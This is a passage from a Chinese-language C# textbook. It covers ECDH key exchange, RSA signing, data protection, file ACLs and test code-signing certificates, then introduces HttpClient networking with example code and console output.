8,就可以计算出字节数。最快的方式是把数据右移3位。右移1位就是除以2,右移2位就 是除以4,右移3位就是除以8。在for循环中,包含未加密IV的原字节的前几个字节写入数 组iv中。接着用Bob的密钥对实例化一个ECDiffieHellmanCng对象。使用Alice的公钥,从 DeriveKeyMaterial()方法中返回对称密钥。 比较Alice和Bob创建的对称密钥,可以看出所创建的密钥值相同。使用这个对称密钥 和初始化矢量,来自Alice的消息就可以用AesCryptoServiceProvider类解密。 public async Task BobReceivesDataAsync(byte[] encryptedData) { WriteLine("Bob receives encrypted data"); byte[] rawData = null; var aes = new AesCryptoServiceProvider(); int nBytes = aes.BlockSize 3; byte[] iv = new byte[nBytes]; for (int i = 0; i < iv.Length; i++) { iv[i] = encryptedData[i]; } using (var bobAlgorithm = new ECDiffieHellmanCng(bobKey)) using (CngKey alicePubKey = CngKey.Import(alicePubKeyBlob, CngKeyBlobFormat.EccPublicBlob)) { byte[] symmKey = bobAlgorithm.DeriveKeyMaterial(alicePubKey); WriteLine("Bob creates this symmetric key with " + $"Alices public key information: {Convert.ToBase64String(symmKey)}"); aes.Key = symmKey; aes.IV = iv; using (ICryptoTransform decryptor = aes.CreateDecryptor()) using (MemoryStream ms = new MemoryStream()) { using (var cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Write)) { await cs.WriteAsync(encryptedData, nBytes, encryptedData.Length - nBytes); } rawData = ms.ToArray(); WriteLine("Bob decrypts message to: " + $"{Encoding.UTF8.GetString(rawData)}"); } aes.Clear(); } } 运行应用程序,会在控制台上看到如下输出。来自Alice的消息被加密,Bob用安全交 换的对称密钥解密它。 Alice sends message: this is a secret message for Bob Alice creates this symmetric key with Bobs public key information: q4D182m7lyev9Nlp6f0av2Jvc0+LmHF5zEjXw1O1I3Y= Alice: message is encrypted: WpOxvUoWH5XY31wC8aXcDWeDUWa6zaSObfGcQCpKixzlTJ9e xb tkF5Hp2WPSZWL9V9n13toBg7hgjPbrVzN2A== Bob receives encrypted data Bob creates this symmetric key with Alices public key information: q4D182m7lyev9Nlp6f0av2Jvc0+LmHF5zEjXw1O1I3Y= Bob decrypts message to: this is a secret message for Bob 24.3.3 使用RSA签名和散列 .NET 4.6和.NET Core 1.0中的一个新加密算法类是RSACng。RSA(这个名字来自于 算法设计者Ron Rivest、Adi Shamir和Leonard Adlerman)是一个广泛使用的非对称算法。 RSA算法已经可用于.NET、RSA和RSACryptoServiceProvider类,RSACng类基于CNG API,其用法类似于先前使用的ECDSACng类。 对于本节所示的示例应用程序,Alice创建一个文档,散列它,以确保它不会改变, 给它加上签名,保证是Alice生成了文档。Bob接收文件,并检查Alice的担保,以确保文件 没有被篡改。 RSA示例代码使用了如下依赖项和名称空间: 依赖项: NETStandard.Library System.Security.Cryptography.Algorighms System.Security.Cryptography.Cng 名称空间: Microsoft.Extensions.DependencyInjection System System.IO System.Linq static System.Console 构造应用程序的Main方法,开始Alice的任务,调用方法AliceTasks,来创建一个文 档、散列码和签名。然后把这些信息传递给Bob的任务,调用方法BobTasks(代码文件 RSASample /Program.cs): class Program { private CngKey _aliceKey; private byte[] _alicePubKeyBlob; static void Main() { var p = new Program(); p.Run(); } public void Run() { byte[] document; byte[] hash; byte[] signature; AliceTasks(out document, out hash, out signature); BobTasks(document, hash, signature); } //... } 方法AliceTasks首先创建Alice所需的密钥,将消息转换为一个字节数组,散列字节数 组,并添加一个签名: public void AliceTasks(out byte[] data, out byte[] hash, out byte[] signature ) { InitAliceKeys(); data = Encoding.UTF8.GetBytes("Best greetings from Alice"); hash = HashDocument(data); signature = AddSignatureToHash(hash, _aliceKey); } 与之前一样,Alice所需的密钥是使用CngKey类创建的。现在正在使用RSA算法,把 CngAlgorithm.Rsa枚举值传递到Create方法,来创建公钥和私钥。公钥只提供给Bob,所以 公钥用Export方法提取: private void InitAliceKeys() { _aliceKey = CngKey.Create(CngAlgorithm.Rsa); _alicePubKeyBlob = _aliceKey.Export(CngKeyBlobFormat.GenericPublicBlob); } 从Alice的任务中调用HashDocument方法,为文档创建一个散列码。散列码使用一个 散列算法SHA384类创建。不管文档存在多久,散列码的长度总是相同。再次为相同的文 档创建散列码,会得到相同的散列码。Bob需要在文档上使用相同的算法。如果返回相同 的散列码,就说明文档没有改变。 private byte[] HashDocument(byte[] data) { using (var hashAlg = SHA384.Create()) { return hashAlg.ComputeHash(data); } } 添加签名,可以保证文档来自Alice。在这里,使用RSACng类给散列签名。Alice的 CngKey(包括公钥和私钥)传递给RSACng类的构造函数;签名通过调用SignHash方法创 建。给散列签名时,SignHash方法需要了解散列算法;HashAlgorithmName.SHA384是创 建散列所使用的算法。此外,需要RSA填充。RSASignaturePadding枚举的可能选项是Pss 和Pkcs1: private byte[] AddSignatureToHash(byte[] hash, CngKey key) { using (var signingAlg = new RSACng(key)) { byte[] signed = signingAlg.SignHash(hash, HashAlgorithmName.SHA384, RSASignaturePadding.Pss); return signed; } } Alice散列并签名后,Bob的任务可以在BobTasks方法中开始。Bob接收文档数据、散 列码和签名,他使用Alice的公钥。首先,Alice的公钥使用CngKey. Import导入,分配给 aliceKey变量。接下来,Bob使用辅助方法IsSignatureValid和IsDocumentUnchanged,来验 证签名是否有效,文档是否不变。只有在两个条件是true时,文档写入控制台: public void BobTasks(byte[] data, byte[] hash, byte[] signature) { CngKey aliceKey = CngKey.Import(_alicePubKeyBlob, CngKeyBlobFormat.GenericPublicBlob); if (! IsSignatureValid(hash, signature, aliceKey)) { WriteLine("signature not valid"); return; } if (! IsDocumentUnchanged(hash, data)) { WriteLine("document was changed"); return; } WriteLine("signature valid, document unchanged"); WriteLine($"document from Alice: {Encoding.UTF8.GetString(data)}"); } 为了验证签名是否有效,使用Alice的公钥创建RSACng类的一个实例。通过这个类, 使用VerifyHash方法传递散列、签名、早些时候使用的算法信息。现在Bob知道,信息来 自Alice: private bool IsSignatureValid(byte[] hash, byte[] signature, CngKey key) { using (var signingAlg = new RSACng(key)) { return signingAlg.VerifyHash(hash, signature, HashAlgorithmName.SHA384, RSASignaturePadding.Pss); } } 为了验证文档数据没有改变,Bob再次散列文件,并使用LINQ扩展方法 SequenceEqual,验证散列码是否与早些时候发送的相同。如果散列值是相同的,就可以 假定文档没有改变: private bool IsDocumentUnchanged(byte[] hash, byte[] data) { byte[] newHash = HashDocument(data); return newHash.SequenceEqual(hash); } 运行应用程序,输出如下。调试应用程序时,可以在Alice散列后修改文档数据,Bob 不会接受更改的文档。为了改变文档数据,很容易在调试器的Watch窗口中改变值。 signature valid, document unchanged document from Alice: Best greetings from Alice 24.3.4 实现数据的保护 与加密相关的另一个.NET特性是新的.NET核心库,它支持数据保护。名称空间 System.Security. DataProtection包含DpApiDataProtector类,而这个类包装了本机Windows Data Protection API(DPAPI)。这些类并不提供Web服务器上需要的灵活性和功能——所 以ASP.NET团队创建了Microsoft.AspNet.DataProtection名称空间中的类。 使用这个库的原因是为日后的检索存储可信的信息,但存储媒体(如使用第三方的托 管环境)不能信任自己,所以信息需要加密存储在主机上。 示例应用程序是一个简单的Console Application (Package),允许使用数据保护功能 读写信息。在这个示例中,可以看到ASP.NET数据保护的灵活性和功能。 数据保护的示例代码使用了以下依赖项和名称空间: 依赖项: NETStandard.Library Microsoft.AspNet.DataProtection Microsoft.AspNet.DataProtection.Abstractions Microsoft.Extensions.DependencyInjection 名称空间: Microsoft.Extensions.DependencyInjection System System.IO System.Linq static System.Console 使用-r和-w命令行参数,可以启动控制台应用程序,读写存储器。此外,需要使用命 令行,设置一个文件名来读写。检查命令行参数后,通过调用InitProtection辅助方法来初 始化数据保护。这个方法返回一个MySafe类型的对象,嵌入IDataProtector。之后,根据 命令行参数,调用Write或Read方法(代码文件DataProtectionSample / Program.cs): class Program { private const string readOption = "-r"; private const string writeOption = "-w"; private readonly string[] options = { readOption, writeOption }; static void Main(string[] args) { if (args.Length ! = 2 || args.Intersect(options).Count() ! = 1) { ShowUsage(); return; } string fileName = args[1]; MySafe safe = InitProtection(); switch (args[0]) { case writeOption: Write(safe, fileName); break; case readOption: Read(safe, fileName); break; default: ShowUsage(); break; } } //etc. } 类MySafe有一个IDataProtector成员。这个接口定义了Protect和Unprotect,来加密和解 密数据。这个接口定义了Protect和Unprotect方法,这些方法带有字节数组参数,返回字节 数组。不过,示例代码使用NuGet包Microsoft.AspNet.DataProtection.Abstractions中定义的 扩展方法,直接发送、返回来自Encrypt和Decrypt方法的字符串。MySafe类通过依赖注入 接收IDataProtectionProvider接口。有了这个接口,传递目的字符串,返回IDataProtector。 读写这个安全时,需要使用相同的字符串(代码文件DataProtectionSample / MySafe.cs): public class MySafe { private IDataProtector _protector; public MySafe(IDataProtectionProvider provider) { _protector = provider.CreateProtector("MySafe.MyProtection.v1"); } public string Encrypt(string input) => _protector.Protect(input); public string Decrypt(string encrypted) => _protector.Unprotect(encrypted); } 通过InitProtection方法调用AddDataProtection和ConfigureDataProtection扩展方法,通 过依赖注入添加数据保护,并配置它。AddDataProtection方法通过调用 DataProtectionServices.GetDefaultServices静态方法,注册默认服务。 ConfigureDataProtection方法包含一个有趣的特殊部分。在这里,它定义了密钥应该 如何保存。示例代码把DirectoryInfo实例传递给PersistKeysToFileSystem方法,把密钥保存 在实际的目录中。另一个选择是把密钥保存到注册表(PersistKeysToRegistry)中,可以 创建自己的方法,把密钥保存在定制的存储中。所创建密钥的生命周期由 SetDefaultKeyLifetime方法定义。接下来,密钥通过调用ProtectKeysWithDpapi来保护。这 个方法使用DPAPI保护密钥,加密与当前用户一起存储的密钥。ProtectKeysWithCertificate 允许使用证书保护密钥。API还定义了UseEphemeralDataProtectionProvider方法,把密钥存 储在内存中。再次启动应用程序时,需要生成新密钥。这个功能非常适合于单元测试(代 码文件DataProtectionSample / Program.cs): public static MySafe InitProtection() { var serviceCollection = new ServiceCollection(); serviceCollection.AddDataProtection(); .PersistKeysToFileSystem(new DirectoryInfo(".")) .SetDefaultKeyLifetime(TimeSpan.FromDays(20)) .ProtectKeysWithDpapi(); IServiceProvider services = serviceCollection.BuildServiceProvider(); return ActivatorUtilities.CreateInstance<MySafe>(services); } 现在,实现了数据保护应用程序的核心,Write和Read方法可以利用MySafe,加密和 解密用户的内容: public static void Write(MySafe safe, string fileName) { WriteLine("enter content to write:"); string content = ReadLine(); string encrypted = safe.Encrypt(content); File.WriteAllText(fileName, encrypted); WriteLine($"content written to {fileName}"); } public static void Read(MySafe safe, string fileName) { string encrypted = File.ReadAllText(fileName); string decrypted = safe.Decrypt(encrypted); WriteLine(decrypted); } 24.4 资源的访问控制 在操作系统中,资源(如文件和注册表键,以及命名管道的句柄)都使用访问控制列 表(ACL)来保护。图24-2显示了这个映射的结构。资源有一个关联的安全描述符。安全 描述符包含了资源拥有者的信息,并引用了两个访问控制列表:自由访问控制列表 (Discretionary Access Control List, DACL)和系统访问控制列表(System Access Control List, SACL)。DACL用来确定谁有访问权;SACL用来确定安全事件日志的审核规则。 ACL包含一个访问控制项(Access Control Entries, ACE)列表。ACE包含类型、安全标识 符和权限。在DACL中,ACE的类型可以是允许访问或拒绝访问。可以用文件设置和获得 的权限是创建、读取、写入、删除、修改、改变许可和获得拥有权。 图24-2 读取和修改访问控制的类在System.Security.AccessControl名称空间中。下面的程序说 明了如何从文件中读取访问控制列表。 FileAccessControl示例应用程序使用了如下依赖项和名称空间: 依赖项: NETStandard.Library System.IO.FileSystem System.IO.FileSystem.AccessControl 名称空间: System.IO System.Security.AccessControl System.Security.Principal static System.Console FileStream类定义了GetAccessControl()方法,该方法返回一个FileSecurity对象。 FileSecurity是一个.NET类,它表示文件的安全描述符。FileSecurity类派生自基类 ObjectSecurity、CommonObject-Security、NativeObjectSecurity和FileSystemSecurity。其他 表示安全描述符的类有CryptoKeySecurity、EventWaitHandleSecurity、MutexSecurity、 RegistrySecurity、SemaphoreSecurity、PipeSecurity和ActiveDirectorySecurity。所有这些对 象都可以使用访问控制列表来保护。一般情况下,对应的.NET类定义了 GetAccessControl()方法,返回相应的安全类;例如,Mutex.GetAccessControl()方法 返回一个MutexSecurity类,PipeStream.GetAccessControl()方法返回一个PipeSecurity 类。 FileSecurity类定义了读取、修改DACL和SACL的方法。GetAccessRules()方法以 Authorization-RuleCollection类的形式返回DACL。要访问SACL,可以使用GetAuditRules 方法。 在GetAccessRules()方法中,可以确定是否应使用继承的访问规则(不仅仅是用对 象直接定义的访问规则)。最后一个参数定义了应返回的安全标识符的类型。这个类型必 须派生自基类IdentityReference。可能的类型有NTAccount和SecurityIdentifier。这两个类都 表示用户或组。NTAccount类按名称查找安全对象,SecurityIdentifier类按唯一的安全标识 符查找安全对象。 返回的AuthorizationRuleCollection包含AuthorizationRule对象。AuthorizationRule对象 是ACE的.NET表示。在这里的例子中,因为访问一个文件,所以AuthorizationRule对象可 以强制转换为FileSystemAccessRule类型。在其他资源的ACE中,存在不同的.NET表示, 例如MutexAccessRule和PipeAccessRule。在FileSystemAccessRule类中, AccessControlType、FileSystemRights和IdentityReference属性返回ACE的相关信息(代码 文件FileAccessControl/Program.cs)。 class Program { static void Main(string[] args) { string filename = null; if (args.Length == 0) return; filename = args[0]; using (FileStream stream = File.Open(filename, FileMode.Open)) { FileSecurity securityDescriptor = stream.GetAccessControl(); AuthorizationRuleCollection rules = securityDescriptor.GetAccessRules(true, true, typeof(NTAccount)); foreach (AuthorizationRule rule in rules) { var fileRule = rule as FileSystemAccessRule; WriteLine($"Access type: {fileRule.AccessControlType}"); WriteLine($"Rights: {fileRule.FileSystemRights}"); WriteLine($"Identity: {fileRule.IdentityReference.Value}"); WriteLine(); } } } } 运行应用程序,并传递一个文件名,就可以看到文件的访问控制列表。这里的输出列 出了管理员和系统的全部控制权限、通过身份验证的用户的修改权限,以及属于Users组 的所有用户的读取和执行权限。 Access type: Allow Rights: FullControl Identity: BUILTIN\Administrators Access type: Allow Rights: FullControl Identity: NT AUTHORITY\SYSTEM Access type: Allow Rights: FullControl Identity: BUILTIN\Administrators Access type: Allow Rights: FullControl Identity: TheOtherSide\Christian 设置访问权限非常类似于读取访问权限。要设置访问权限,几个可以得到保护的资源 类提供了SetAccessControl()和ModifyAccessControl()方法。这里的示例代码调用File 类的SetAccessControl()方法,以修改文件的访问控制列表。给这个方法传递一个 FileSecurity对象。FileSecurity对象用FileSystemAccessRule对象填充。这里列出的访问规则 拒绝Sales组的写入访问权限,给Everyone组提供了读取访问权限,并给Developers组提供 了全部控制权限。  注意: 只有定义了Windows组Sales和Developers,这个程序才能在系统上运 行。可以修改程序,使用自己环境下的可用组。 private void WriteAcl(string filename) { var salesIdentity = new NTAccount("Sales"); var developersIdentity = new NTAccount("Developers"); var everyOneIdentity = new NTAccount("Everyone"); var salesAce = new FileSystemAccessRule(salesIdentity, FileSystemRights.Write, AccessControlType.Deny); var everyoneAce = new FileSystemAccessRule(everyOneIdentity, FileSystemRights.Read, AccessControlType.Allow); var developersAce = new FileSystemAccessRule(developersIdentity, FileSystemRights.FullControl, AccessControlType.Allow); var securityDescriptor = new FileSecurity(); securityDescriptor.SetAccessRule(everyoneAce); securityDescriptor.SetAccessRule(developersAce); securityDescriptor.SetAccessRule(salesAce); File.SetAccessControl(filename, securityDescriptor); }  注意: 打开Properties窗口,在Windows资源管理器中选择一个文件,选择 Security选项卡,列出访问控制列表,就可以验证访问规则。 24.5 使用证书发布代码 可以利用数字证书来对程序集进行签名,让软件的消费者验证软件发布者的身份。根 据使用应用程序的地点,可能需要证书。例如,用户利用ClickOnce安装应用程序,可以 验证证书,以信任发布者。Microsoft通过Windows Error Reporting,使用证书来找出哪个 供应商映射到错误报告。  注意: ClickOnce参见第36章。 在商业环境中,可以从Verisign或Thawte之类的公司中获取证书。从软件厂商购买证 书(而不是创建自己的证书)的优点是,那些证书可以证明软件的真实性有很高的可信 度,软件厂商是可信的第三方。但是,为了测试,.NET提供了一个命令行实用程序,使 用它可以创建测试证书。创建证书和使用证书发布软件的过程相当复杂,但是本节用一个 简单的示例说明这个过程。 设想有一个名叫ABC的公司。公司的软件产品(simple.exe)应该值得信赖。首先, 输入下面的命令,创建一个测试证书: >makecert -sv abckey.pvk -r -n "CN=ABC Corporation" abccorptest.cer 这条命令为ABC公司创建了一个测试证书,并把它保存到abccorptest.cer文件中。-sv abckey.pvk参数创建一个密钥文件,来存储私钥。在创建密钥文件时,需要输入一个必须 记住的密码。 创建证书后,就可以用软件发布者证书测试工具(Cert2spc.exe)创建一个软件发布 者测试证书: >cert2spc abccorptest.cer abccorptest.spc 有了存储在spc文件中的证书和存储在pvk文件中的密钥文件,就可以用pvk2pfx实用 程序创建一个包含证书和密钥文件的pfx文件: >pvk2pfx -pvk abckey.pvk -spc abccorptest.spc -pfx abccorptest.pfx 现在可以用signtool.exe实用程序标记程序集了。使用sign选项来标记,用-f指定pfx文 件中的证书,用-v指定输出详细信息: >signtool sign -f abccorptest.pfx -v simple.exe 为了建立对证书的信任,可使用证书管理器certmgr或MMC插件Certificates,通过 Trusted Root Certification Authorities和Trusted Publishers安装它。之后就可以使用signtool验 证签名是否成功: >signtool verify -v -a simple.exe 24.6 小结 本章讨论了与.NET应用程序相关的几个安全性方面。用户用标识和主体表示,这些 类实现了IIdentity和IPrincipal接口。还介绍了如何访问标识中的声称。 本章介绍了加密方法,说明了数据的签名和加密,以安全的方式交换密钥。.NET提 供了对称加密算法和非对称加密算法,以及散列和签名。 使用访问控制列表还可以读取和修改对操作系统资源(如文件)的访问权限。ACL的 编程方式与安全管道、注册表键、Active Directory项以及许多其他操作系统资源的编程方 式相同。 在许多情况下,可以在较高的抽象级别上处理安全性。例如,使用HTTPS访问Web服 务器,在后台交换加密密钥。使用WCF可以修改配置文件,来定义要使用的加密算法。 在完整的.NET堆栈中,File类提供了Encrypt方法(使用NTFS文件系统),轻松地加密文 件。知道这个功能如何发挥作用也很重要。 第25章将介绍网络。当创建在网络上通信的应用程序时,了解安全性是非常重要的。 阅读下一章,就可以让Alice和Bob在网络上通信,而不仅仅在本章的进程中通信。第25章 介绍网络的基础。 第25章 网络 本章要点 ● 使用HttpClient ● 操纵IP地址,执行DNS查询 ● 用WebListener创建服务器 ● 用TCP、UDP和套接字类进行套接字编程 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● HttpClientSample ● WinAppHttpClient ● HttpServer ● Utilities ● DnsLookup ● HttpClientUsingTcp ● TcpServer ● WPFAppTcpClient ● UdpReceiver ● UdpSender ● SocketServer ● SocketClient 25.1 网络 本章将采取非常实用的网络方法,结合示例讨论相关理论和相应的网络概念。本章并 不是计算机网络的指南,但会介绍如何使用.NET Framework进行网络通信。 本章介绍了如何使用网络协议创建客户端和服务器。从最简单的示例开始,阐明怎样 给服务器发送请求和在响应中存储返回的信息。 然后讨论如何创建HTTP服务器,使用实用工具类分拆和创建URI,把主机名解析为 IP地址。还介绍了通过TCP和UDP收发数据,以及如何利用Socket类。 在网络环境下,我们最感兴趣的两个名称空间是System.Net和System.Net.Sockets。 System.Net名称空间通常与较高层的操作有关,例如下载和上传文件,使用HTTP和其他 协议进行Web请求等;而System.Net.Sockets名称空间包含的类通常与较低层的操作有关。 如果要直接使用套接字或TCP/IP之类的协议,这个名称空间中的类就非常有用,这些类中 的方法与Windows套接字(Winsock)API函数(派生自Berkeley套接字接口)非常类似。 本章介绍的一些对象位于System.IO名称空间中。 25.2 HttpClient类 HttpClient类用于发送HTTP请求,接收请求的响应。它在System.Net.Http名称空间 中。System.Net.Http名称空间中的类有助于简化在客户端和服务器上使用Web服务。 HttpClient类派生于HttpMessageInvoker类,这个基类负责执行SendAsync方法。 SendAsync方法是HttpClient类的主干。如本节后面所述,这个方法有几个派生物。顾名思 义,SendAsync方法调用是异步的,这样就可以编写一个完全异步的系统来调用Web服 务。 25.2.1 发出异步的Get请求 本章的下载代码示例是HttpClientSample。它以不同的方式异步调用Web服务。为了 演示本例使用的不同的方法,使用了命令行参数。 示例代码使用了以下依赖项和名称空间: 依赖项 NETStandard.Library System.Net.Http 名称空间 System System.Net System.Net.Http System.Net.Http.Headers System.Threading System.Threading.Tasks static System.Console 第一段代码实例化一个HttpClient对象。这个HttpClient对象是线程安全的,所以一个 HttpClient对象就可以用于处理多个请求。HttpClient的每个实例都维护它自己的线程池, 所以HttpClient实例之间的请求会被隔离。调用Dispose方法释放资源。 接着调用GetAsync,给它传递要调用的方法的地址,把一个HTTP GET请求发送给服 务器。GetAsync调用被重载为带一个字符串或URI对象。在本例中调用Microsoft的OData 示例站点http://services.odata.org,但可以修改这个地址,以调用任意多个REST Web服 务。 对GetAsync的调用返回一个HttpResponseMessage对象。HttpResponseMessage类表示 包含标题、状态和内容的响应。检查响应的IsSuccessfulStatusCode属性,可以确定请求是 否成功。如果调用成功,就使用ReadAsStringAsync方法把返回的内容检索为一个字符串 (代码文件HttpClientSample/Program.cs): private const string NorthwindUrl = "http://services.data.org/Northwind/Northwind.svc/Regions"; private const string IncorrectUrl = "http://services.data.org/Northwind1/Northwind.svc/Regions"; private async Task GetDataSimpleAsync() { using (var client = new HttpClient()) { HttpResponseMessage response = await client.GetAsync(NorthwindUrl); if(response.IsSuccessStatusCode) { WriteLine($"Response Status Code: {(int)response.StatusCode} " + $"{response.ReasonPhrase}"); string responseBodyAsText = await response.Content.ReadAsStringAsync(); WriteLine($"Received payload of {responseBodyAsText.Length} characters"); WriteLine(); WriteLine(responseBodyAsText); } } } 用命令行参数- s执行这段代码,产生以下输出: Response Status Code: 200 OK Received payload of 3379 characters <? xml version="1.0" encoding="utf-8"? > <! - ... ->  注意: 因为HttpClient类使用GetAsync方法调用,且使用了await关键字,所 以返回调用线程,并可以执行其他工作。GetAsync方法的结果可用时,就用该方法继 续线程,响应写入response变量。await关键字参见第15章,任务的创建和使用参见第21 章。 25.2.2 抛出异常 如果调用HttpClient类的GetAsync方法失败,默认情况下不产生异常。调用 EnsureSuccessStatusCode方法和HttpResponseMessage,很容易改变这一点。该方法检查 IsSuccessStatusCode是否是false,否则就抛出一个异常(代码文件HttpClientSample / Program.cs): private async Task GetDataWithExceptionsAsync() { try { using (var client = new HttpClient()) { HttpResponseMessage response = await client.GetAsync(IncorrectUrl); response.EnsureSuccessStatusCode(); WriteLine($"Response Status Code: {(int)response.StatusCode} " + $"{response.ReasonPhrase}"); string responseBodyAsText = await response.Content.ReadAsStringAsync(); WriteLine($"Received payload of {responseBodyAsText.Length} characters"); WriteLine(); WriteLine(responseBodyAsText); } } catch (Exception ex) { WriteLine($"{ex.Message}"); } } 25.2.3 传递标题 发出请求时没有设置或改变任何标题,但HttpClient的DefaultRequestHeaders属性允许 设置或改变标题。使用Add方法可以给集合添加标题。设置标题值后,标题和标题值会与 这个HttpClient实例发送的每个请求一起发送。 例如,响应内容默认为XML格式。要改变它,可以在请求中添加一个Accept标题, 以使用JSON。在调用GetAsync之前添加如下代码,内容就会以JSON格式返回: client.DefaultRequestHeaders.Add("Accept", "application/json; odata=verbose") ; 添加和删除标题,运行示例,会以XML和JSON格式显示内容。 从DefaultHeaders属性返回的HttpRequestHeaders对象有许多辅助属性,可用于许多标 准标题。可以从这些属性中读取标题的值,但它们是只读的。要设置其值,需要使用Add 方法。在代码片段中,添加了HTTP Accept标题。根据服务器接收到的Accept标题,服务 器可以基于客户的需求返回不同的数据格式。发送Accept标题application / json时,客户就 通知服务器,它接受JSON格式的数据。标题信息用ShowHeaders方法显示,从服务器接收 响应时,也调用该方法(代码文件HttpClientSample / Program.cs): public static Task GetDataWithHeadersAsync() { try { using (var client = new HttpClient()) { client.DefaultRequestHeaders.Add("Accept", "application/json; odata=verbose"); ShowHeaders("Request Headers:", client.DefaultRequestHeaders); HttpResponseMessage response = await client.GetAsync(NorthwindUrl); client.EnsureSuccessStatusCode(); ShowHeaders("Response Headers:", response.Headers); //etc. } } 与上一个示例不同,添加了ShowHeaders方法,它把一个HttpHeaders对象作为参数。 HttpHeaders是HttpRequestHeaders和HttpResponseHeaders的基类。这两个特殊化的类都添 加了辅助属性,以直接访问标题。HttpHeader对象定义为keyValuePair<string, IEnumerable<string>>。这表示每个标题在集合中都可以有多个值。因此,如果希望改变 标题中的值,就需要删除原值,添加新值。 ShowHeaders函数很简单,它迭代HttpHeaders中的所有标题。枚举返回 KeyValuePair<string,IEnumerable<string>>元素,为每个键显示值的字符串版本: public static void ShowHeaders(string title, HttpHeaders headers) { WriteLine(title); foreach (var header in headers) { string value = string.Join(" ", header.Value); WriteLine($"Header: {header.Key} Value: {value}"); } WriteLine(); } 运行这段代码,就显示请求的任何标题。 Request Headers: Header: Accept Value: application/json; odata=verbose Response Headers: Header: Vary Value: * Header: X-Content-Type-Options Value: nosniff Header: DataServiceVersion Value: 2.0; Header: Access-Control-Allow-Origin Value: * Header: Access-Control-Allow-Methods Value: GET Header: Access-Control-Allow-Headers Value: Accept, Origin, Content-Type, MaxDataServiceVersion Header: Access-Control-Expose-Headers Value: DataServiceVersion Header: Cache-Control Value: private Header: Date Value: Mon, 06 Jul 2015 09:00:48 GMT Header: Set-Cookie Value: ARRAffinity=a5ee7717b148daedb0164e6e19088a5a78c4769 3a6 0e57422887d7e011fb1e5e; Path=/; Domain=services.odata.org Header: Server Value: Microsoft-IIS/8.0 Header: X-AspNet-Version Value: 4.0.30319 Header: X-Powered-By Value: ASP.NET 因为现在客户端请求JSON数据,服务器返回JSON,也可以看到这些信息: Response Status Code: 200 OK Received payload of 1551 characters {"d":{"results":[{"__metadata":{"id":"http://services.odata.org/Northwind/ Northwind.svc/Regions(1) ", "uri": 25.2.4 访问内容 先前的代码片段展示了如何访问Content属性,获取一个字符串。 响应中的Content属性返回一个HttpContent对象。为了获得HttpContent对象中的数 据,需要使用所提供的一个方法。在例子中,使用了ReadAsStringAsync方法。它返回内 容的字符串表示。顾名思义,这是一个异步调用。除了使用async关键字之外,也可以使 用Result属性。调用Result属性会阻塞该调用,直到ReadAsStringAsync方法执行完毕,然 后继续执行下面的代码。 其他从HttpContent对象中获得数据的方法有ReadAsByteArrayAsync(返回数据的字节 数组)和ReadAsStreamAsync(返回一个流)。也可以使用LoadIntoBufferAsync把内容加 载到内存缓存中。 Headers属性返回HttpContentHeaders对象。它的工作方式与前面例子中的请求和响应 标题相同。  注意: 除了使用HttpClient和HttpContent类的GetAsync和ReadAsStringAsync 方法之外,HttpClient类还提供了方法GetStringAsync,来返回一个字符串,而不需要调 用两个方法。然而使用这个方法时,对错误状态和其他信息没有那么多的控制。  注意: 流参见第23章。 25.2.5 用HttpMessageHandler自定义请求 HttpClient类可以把HttpMessageHandler作为其构造函数的参数,这样就可以定制请 求。可以传递HttpClientHandler的实例。它有许多属性可以设置,例如ClientCertificates、 Pipelining、CachePolity、ImpersonationLevel等。 下一个代码片段实例化SampleMessageHandler,并传递给HttpClient构造函数(代码文 件HttpClientSample / Program.cs): public static async Task GetDataWithMessageHandlerAsync() { var client = new HttpClient(new SampleMessageHandler("error")); HttpResponseMessage response = await client.GetAsync(NorthwindUrl); //... } 这个处理程序类型SampleMessageHandler的作用是把一个字符串作为参数,在控制台 上显示它,如果消息是“error”,就把响应的状态码设置为Bad Request。如果创建一个派生 于HttpClientHandler的类,就可以重写一些属性和方法SendAsync。SendAsync通常会重 写,因为发送到服务器的请求会受影响。如果_displayMessage设置为“error”,就返回一个 HttpResponseMessage和错误请求。该方法需要返回一个Task。对于错误的情况,不需要 调用异步方法;这就是为什么只是用Task.FromResult返回错误(代码文件 HttpClientSample / SampleMessageHandler FromResult.cs): public class SampleMessageHandler : HttpClientHandler { private string _message; public SampleMessageHandler(string message) { _message = message; } protected override Task<HttpResponseMessage> SendAsync( HttpRequestMessage request, CancellationToken cancellationToken) { WriteLine($"In SampleMessageHandler {_message}"); if(_message == "error") { var response = new HttpResponseMessage(HttpStatusCode.BadRequest); return Task.FromResult<HttpResponseMessage>(response); } return base.SendAsync(request, cancellationToken); } } 添加定制处理程序有许多理由。设置处理程序管道,是为了添加多个处理程序。除了 默认的处理程序之外,还有DelegatingHandler,它执行一些代码,再把调用委托给内部或 下一个处理程序。HttpClientHandler是最后一个处理程序,它把请求发送到地址。图25-1 显示了管道。每个添加的DelegatingHandler都调用下一个或内部的处理程序,最后一个是 基于HttpClientHandler的处理程序。 25.2.6 使用SendAsync创建 HttpRequestMessage 图25-1 在后台,HttpClient类的GetAsync方法调用SendAsync 方法。除了使用GetAsync方法之外,还可以使用 SendAsync方法发送一个HTTP请求。使用SendAsync,可 以对定义请求有更多的控制。重载HttpRequestMessage类 的构造函数,传递HttpMethod的一个值。GetAsync方法用 HttpMethod.Get创建一个HTTP请求。使用HttpMethod,不 仅可以发送GET、POST、PUT和DELETE请求,也可以发 送HEAD、OPTIONS和TRACE。有了HttpRequestMessage 对象,可以用HttpClient调用SendAsync方法: private async Task GetDataAdvancedAsync() { using (var client = new HttpClient()) { var request = new HttpRequestMessage(HttpMetho d.Get, NorthwindUrl); HttpResponseMessage response = await client.Se ndAsync(request); //etc. } }  注意: 本章只使用HttpClient类发出HTTP GET请求。HttpClient类还允许使用 PostAsync、PutAsync和DeleteAsync方法,发送HTTP POST、PUT和DELETE请求。这 些方法在第42章使用,发出这些请求,在Web服务中调用相应的动作方法。 创建HttpRequestMessage对象后,可以使用Headers和Content属性提供标题和内容。使 用Version属性,可以指定HTTP版本。  注意: HTTP / 1.0在1996年发布,几年后发布了1.1。在1.0版本中,服务器返 回数据后,连接总是关闭;在1.1版本中,增加了keep-alive标题,允许客户端根据需要 保持连接打开,因为客户端可能希望发出更多的请求,不仅接收HTML代码,还接收 CSS、JavaScript文件和图片。1999年定义了HTTP / 1.1后,过了16年,HTTP / 2才在 2015年完成。版本2有什么优点?HTTP / 2允许在相同的连接上发出多个并发请求,压 